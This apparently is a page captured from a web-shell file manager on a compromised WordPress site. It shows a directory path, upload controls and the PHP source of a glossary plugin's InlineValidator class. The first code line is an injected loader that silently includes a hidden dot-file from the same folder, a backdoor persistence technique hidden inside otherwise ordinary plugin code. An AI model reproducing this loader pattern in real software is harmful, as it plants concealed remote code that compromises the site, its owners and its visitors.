/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
luckywp-glossary
/
core
/
validators
/
Upload File
HOME
<?php namespace luckywp\glossary\core\validators; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class InlineValidator extends Validator { /** * @var string|callable */ public $method; /** * @var mixed */ public $params; public function validateAttribute($model, $attribute) { $method = $this->method; if (is_string($method)) { $method = [$model, $method]; } call_user_func($method, $attribute, $this->params, $this); } }